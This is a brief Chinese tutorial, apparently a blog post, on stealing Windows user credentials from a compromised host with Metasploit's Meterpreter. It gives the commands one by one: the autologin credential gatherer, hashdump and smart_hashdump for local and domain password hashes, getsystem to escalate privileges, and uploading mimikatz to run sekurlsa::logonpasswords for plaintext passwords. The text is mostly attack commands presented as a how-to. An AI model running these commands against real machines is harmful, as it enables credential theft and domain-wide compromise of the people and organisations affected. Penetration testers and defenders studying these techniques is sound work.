MSF中获取用户密码

获取用户密码的方法

抓取自动登录的密码

导出密码哈希

上传mimikatz程序

加载kiwi模块

抓取自动登录的密码

很多用户习惯将计算机设置自动登录，可以使用

run windows/gather/credentials/windows_autologin  

抓取自动登录的用户名和密码

导出密码哈希

hashdump 模块可以从SAM数据库中导出本地用户账号，执行：

run hashdump

该命令的使用需要系统权限

用户哈希数据的输出格式为：

用户名：SID：LM哈希：NTLM哈希:::

还可以使用命令：

run windows/gather/smart_hashdump  

该命令的使用需要系统权限。该功能更强大，如果当前用户是域管理员用户，则可以导出域内所有用户的hash

上传mimikatz程序

我们还可以通过上传mimikatz程序，然后执行mimikatz程序来获取明文密码
执行mimikatz必须System权限。

我们先getsystem提权至系统权限，然后执行 execute -i -f mimikatz.exe ，进入mimikatz的交互界面。然后执行：

privilege::debug
sekurlsa::logonpasswords

加载kiwi模块

该模块的使用需要System权限。关于该模块的用法：

https://blog.csdn.net/m0_53087192/article/details/112707016